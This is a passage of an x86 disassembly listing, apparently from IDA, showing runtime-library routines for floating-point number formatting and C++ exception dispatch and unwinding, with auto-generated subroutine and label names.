		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_424CB9
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_424C42
		add	esp, 14h


loc_4221E8:				; CODE XREF: sub_42217D+22j
					; sub_42217D+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_4221F6
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]


loc_4221F6:				; CODE XREF: sub_42217D+70j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_42220D
		push	1
		push	edi
		call	sub_422391
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_42220F
; ---------------------------------------------------------------------------


loc_42220D:				; CODE XREF: sub_42217D+7Ej
		add	edi, eax


loc_42220F:				; CODE XREF: sub_42217D+8Ej
		test	ebx, ebx
		jle	short loc_422254
		push	1
		push	edi
		call	sub_422391
		mov	al, byte_43F828
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_422254
		cmp	byte_4DE660, 0
		jz	short loc_422239
		neg	esi
		jmp	short loc_42223F
; ---------------------------------------------------------------------------


loc_422239:				; CODE XREF: sub_42217D+B6j
		neg	esi
		cmp	ebx, esi
		jl	short loc_422241


loc_42223F:				; CODE XREF: sub_42217D+BAj
		mov	ebx, esi


loc_422241:				; CODE XREF: sub_42217D+C0j
		push	ebx
		push	edi
		call	sub_422391
		push	ebx
		push	30h
		push	edi
		call	sub_41BC00
		add	esp, 14h


loc_422254:				; CODE XREF: sub_42217D+94j
					; sub_42217D+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_42217D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42225B	proc near		; CODE XREF: sub_422340+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_424CB9
		mov	dword_4DE65C, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	dword_4DE664, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_424C42
		mov	eax, dword_4DE65C
		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	dword_4DE664, ecx
		setl	cl
		mov	byte_4DE668, cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	dword_4DE664, eax
		jl	short loc_4222E1
		cmp	eax, ebx
		jge	short loc_4222E1
		test	cl, cl
		jz	short loc_4222D2


loc_4222C8:				; CODE XREF: sub_42225B+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_4222C8
		and	[esi-2], al


loc_4222D2:				; CODE XREF: sub_42225B+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_42231D
		add	esp, 0Ch
		jmp	short loc_4222F1
; ---------------------------------------------------------------------------


loc_4222E1:				; CODE XREF: sub_42225B+63j
					; sub_42225B+67j
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_4222F6
		add	esp, 10h


loc_4222F1:				; CODE XREF: sub_42225B+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_42225B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4222F6	proc near		; CODE XREF: sub_42225B+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	byte_4DE660, 1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_422079
		and	byte_4DE660, 0
		add	esp, 10h
		retn
sub_4222F6	endp


; =============== S U B	R O U T	I N E =======================================



sub_42231D	proc near		; CODE XREF: sub_42225B+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	byte_4DE660, 1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_42217D
		and	byte_4DE660, 0
		add	esp, 0Ch
		retn
sub_42231D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422340	proc near		; CODE XREF: sub_41FD3F+3AAp
					; DATA XREF: sub_41CDCCo ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_42237B
		cmp	[ebp+arg_8], 45h
		jz	short loc_42237B
		cmp	[ebp+arg_8], 66h
		jnz	short loc_422368
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_42217D
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_422368:				; CODE XREF: sub_422340+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_42225B
		jmp	short loc_42238C
; ---------------------------------------------------------------------------


loc_42237B:				; CODE XREF: sub_422340+7j
					; sub_422340+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_422079


loc_42238C:				; CODE XREF: sub_422340+39j
		add	esp, 10h
		pop	ebp
		retn
sub_422340	endp


; =============== S U B	R O U T	I N E =======================================



sub_422391	proc near		; CODE XREF: sub_422079+2Cp
					; sub_42217D+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_4223B4
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_41B650
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_41D300
		add	esp, 10h
		pop	esi


loc_4223B4:				; CODE XREF: sub_422391+7j
		pop	edi
		retn
sub_422391	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4223B6	proc near		; CODE XREF: .XPack0:0041CFACp
					; sub_41D015+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_4223CC
		call	sub_422C52


loc_4223CC:				; CODE XREF: sub_4223B6+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_4223F4
		cmp	dword ptr [esi+4], 0
		jz	short loc_42244A
		cmp	[ebp+arg_14], 0
		jnz	short loc_42244A
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_4226FD
		add	esp, 10h
		jmp	short loc_42244A
; ---------------------------------------------------------------------------


loc_4223F4:				; CODE XREF: sub_4223B6+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_42244A
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_42242E
		cmp	[eax+14h], edi
		jbe	short loc_42242E
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_42242E
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_42244D
; ---------------------------------------------------------------------------


loc_42242E:				; CODE XREF: sub_4223B6+4Aj
					; sub_4223B6+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_422451
		add	esp, 20h


loc_42244A:				; CODE XREF: sub_4223B6+23j
					; sub_4223B6+29j ...
		push	1
		pop	eax


loc_42244D:				; CODE XREF: sub_4223B6+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_4223B6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422451	proc near		; CODE XREF: sub_4223B6+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_422471
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_422476


loc_422471:				; CODE XREF: sub_422451+16j
		call	sub_422C52


loc_422476:				; CODE XREF: sub_422451+1Ej
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_4225CD
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_4224EA
		cmp	[esi+14h], edi
		jnz	short loc_4224EA
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_4224EA
		mov	esi, dword_4DE66C
		test	esi, esi
		jz	loc_4225C8
		mov	eax, dword_4DE670
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_424E40
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4224CC
		call	sub_422C52


loc_4224CC:				; CODE XREF: sub_422451+74j
		cmp	[esi], ebx
		jnz	loc_4225CD
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_4224EA
		cmp	[esi+14h], edi
		jnz	short loc_4224EA
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_4224EA
		call	sub_422C52


loc_4224EA:				; CODE XREF: sub_422451+41j
					; sub_422451+46j ...
		cmp	[esi], ebx
		jnz	loc_4225CD
		cmp	dword ptr [esi+10h], 3
		jnz	loc_4225CD
		cmp	[esi+14h], edi
		jnz	loc_4225CD
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41D163
		add	esp, 14h
		mov	ebx, eax


loc_422521:				; CODE XREF: sub_422451+162j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_4225B8
		cmp	[ebx], edi
		jg	short loc_4225AD
		cmp	edi, [ebx+4]
		jg	short loc_4225AD
		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_4225AA


loc_422546:				; CODE XREF: sub_422451+131j
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_422577


loc_422558:				; CODE XREF: sub_422451+124j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_4226A0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_422586
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_422558


loc_422577:				; CODE XREF: sub_422451+105j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_422546
		jmp	short loc_4225AA
; ---------------------------------------------------------------------------


loc_422586:				; CODE XREF: sub_422451+119j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_4227B1
		add	esp, 2Ch


loc_4225AA:				; CODE XREF: sub_422451+F3j
					; sub_422451+133j
		mov	edi, [ebp+var_10]


loc_4225AD:				; CODE XREF: sub_422451+DEj
					; sub_422451+E3j
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_422521
; ---------------------------------------------------------------------------


loc_4225B8:				; CODE XREF: sub_422451+D6j
		cmp	[ebp+arg_14], 0
		jz	short loc_4225C8
		push	1
		push	esi
		call	sub_422B26
		pop	ecx
		pop	ecx


loc_4225C8:				; CODE XREF: sub_422451+56j
					; sub_422451+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4225CD:				; CODE XREF: sub_422451+37j
					; sub_422451+7Dj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_4225F3
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_4225F8
		add	esp, 20h
		jmp	short loc_4225C8
; ---------------------------------------------------------------------------


loc_4225F3:				; CODE XREF: sub_422451+180j
		jmp	sub_422BFC
sub_422451	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4225F8	proc near		; CODE XREF: sub_422451+198p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	dword_4DE674, 0
		push	esi
		push	edi
		jz	short loc_422629
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41D03A
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_42269C


loc_422629:				; CODE XREF: sub_4225F8+Ej
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41D163
		add	esp, 14h
		mov	esi, eax


loc_422645:				; CODE XREF: sub_4225F8+A2j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_42269C
		cmp	edi, [esi]
		jl	short loc_422694
		cmp	edi, [esi+4]
		jg	short loc_422694
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_42266E
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_422694


loc_42266E:				; CODE XREF: sub_4225F8+6Ej
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4227B1
		add	esp, 2Ch


loc_422694:				; CODE XREF: sub_4225F8+57j
					; sub_4225F8+5Cj ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_422645
; ---------------------------------------------------------------------------


loc_42269C:				; CODE XREF: sub_4225F8+2Fj
					; sub_4225F8+53j
		pop	edi
		pop	esi
		leave
		retn
sub_4225F8	endp


; =============== S U B	R O U T	I N E =======================================



sub_4226A0	proc near		; CODE XREF: sub_422451+10Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_4226F7
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_4226F7
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_4226D1
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4226F3


loc_4226D1:				; CODE XREF: sub_4226A0+1Fj
		test	byte ptr [esi],	2
		jz	short loc_4226DB
		test	byte ptr [edi],	8
		jz	short loc_4226F3


loc_4226DB:				; CODE XREF: sub_4226A0+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_4226EA
		test	byte ptr [edi],	1
		jz	short loc_4226F3


loc_4226EA:				; CODE XREF: sub_4226A0+43j
		test	al, 2
		jz	short loc_4226F7
		test	byte ptr [edi],	2
		jnz	short loc_4226F7


loc_4226F3:				; CODE XREF: sub_4226A0+2Fj
					; sub_4226A0+39j ...
		xor	eax, eax
		jmp	short loc_4226FA
; ---------------------------------------------------------------------------


loc_4226F7:				; CODE XREF: sub_4226A0+Bj
					; sub_4226A0+14j ...
		push	1
		pop	eax


loc_4226FA:				; CODE XREF: sub_4226A0+55j
		pop	edi
		pop	esi
		retn
sub_4226A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4226FD	proc near		; CODE XREF: sub_4223B6+34p
					; sub_4227B1+42p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4288B0
		push	offset sub_423B80
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]


loc_42272F:				; CODE XREF: sub_4226FD+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_422789
		cmp	esi, 0FFFFFFFFh
		jle	short loc_42273E
		cmp	esi, [edi+4]
		jl	short loc_422743


loc_42273E:				; CODE XREF: sub_4226FD+3Aj
		call	sub_422C52


loc_422743:				; CODE XREF: sub_4226FD+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_42275E
		push	103h
		push	ebx
		push	eax
		call	sub_422BB0


loc_42275E:				; CODE XREF: sub_4226FD+53j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42277E
; ---------------------------------------------------------------------------
		push	[ebp+var_14]
		call	sub_42279B
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]


loc_42277E:				; CODE XREF: sub_4226FD+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_42272F
; ---------------------------------------------------------------------------


loc_422789:				; CODE XREF: sub_4226FD+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4226FD	endp


; =============== S U B	R O U T	I N E =======================================



sub_42279B	proc near		; CODE XREF: sub_4226FD+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_4227AC
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4227AC:				; CODE XREF: sub_42279B+Cj
		jmp	sub_422BFC
sub_42279B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4227B1	proc near		; CODE XREF: sub_422451+151p
					; sub_4225F8+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_4227D3
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_422962
		add	esp, 10h


loc_4227D3:				; CODE XREF: sub_4227B1+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_4227DF
		push	edi
		jmp	short loc_4227E2
; ---------------------------------------------------------------------------


loc_4227DF:				; CODE XREF: sub_4227B1+29j
		push	[ebp+arg_24]


loc_4227E2:				; CODE XREF: sub_4227B1+2Cj
		call	sub_41CF3C
		mov	esi, [ebp+arg_1C]
		push	dword ptr [esi]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	edi
		call	sub_4226FD
		mov	eax, [esi+4]
		push	100h
		push	[ebp+arg_20]
		inc	eax
		mov	[edi+8], eax
		push	dword ptr [ebx+0Ch]
		push	[ebp+arg_10]
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_0]
		call	sub_42282C
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_422827
		push	edi
		push	eax
		call	sub_41CEFA


loc_422827:				; CODE XREF: sub_4227B1+6Dj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4227B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42282C	proc near		; CODE XREF: sub_4227B1+63p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4288C0
		push	offset sub_423B80
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi-4]
		mov	[ebp+var_28], ecx
		mov	ecx, dword_4DE66C
		mov	[ebp+var_1C], ecx
		mov	ecx, dword_4DE670
		mov	[ebp+var_20], ecx
		mov	edi, [ebp+arg_0]
		mov	dword_4DE66C, edi
		mov	ecx, [ebp+arg_8]
		mov	dword_4DE670, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	esi
		call	sub_41CFC1
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_4228F2
		mov	eax, [ebp+var_2C]


loc_4228B9:				; CODE XREF: sub_4228D2+16j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42282C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4228C8	proc near		; DATA XREF: .XPack0:004288D0o
		push	dword ptr [ebp-14h]
		call	sub_422938
		pop	ecx
		retn
sub_4228C8	endp


; =============== S U B	R O U T	I N E =======================================



sub_4228D2	proc near		; DATA XREF: .XPack0:004288D4o
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	sub_41D222
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_4228B9
sub_4228D2	endp

; ---------------------------------------------------------------------------


loc_4228EA:				; DATA XREF: .XPack0:004288C8o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_4228F2	proc near		; CODE XREF: sub_42282C+85p
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		mov	eax, [ebp-1Ch]
		mov	dword_4DE66C, eax
		mov	eax, [ebp-20h]
		mov	dword_4DE670, eax
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_422937
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_422937
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_422937
		cmp	[ebp-24h], ebx
		jnz	short locret_422937
		cmp	[ebp-2Ch], ebx
		jz	short locret_422937
		call	sub_41D28A
		push	eax
		push	edi
		call	sub_422B26
		pop	ecx
		pop	ecx

locret_422937:				; CODE XREF: sub_4228F2+1Cj
					; sub_4228F2+22j ...
		retn
sub_4228F2	endp


; =============== S U B	R O U T	I N E =======================================



sub_422938	proc near		; CODE XREF: sub_4228C8+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_42295F
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_42295F
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_42295F
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_42295F
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_42295F:				; CODE XREF: sub_422938+Cj
					; sub_422938+12j ...
		xor	eax, eax
		retn
sub_422938	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422962	proc near		; CODE XREF: sub_4227B1+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4288D8
		push	offset sub_423B80
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_422B0B
		cmp	byte ptr [eax+8], 0
		jz	loc_422B0B
		mov	eax, [ecx+8]
		test	eax, eax
		jz	loc_422B0B
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_4229FF
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_424E40
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422B02
		push	1
		push	edi
		call	sub_424E5C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422B02
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx


loc_4229F0:				; CODE XREF: sub_422962+F5j
		push	eax
		call	sub_422B8D
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_422B07
; ---------------------------------------------------------------------------


loc_4229FF:				; CODE XREF: sub_422962+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_422A59
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		call	sub_424E40
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422B02
		push	1
		push	edi
		call	sub_424E5C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422B02
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_41D300
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_422B07
		mov	eax, [edi]
		test	eax, eax
		jz	loc_422B07
		add	esi, 8
		push	esi
		jmp	short loc_4229F0
; ---------------------------------------------------------------------------


loc_422A59:				; CODE XREF: sub_422962+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_422AA1
		call	sub_424E40
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422B02
		push	1
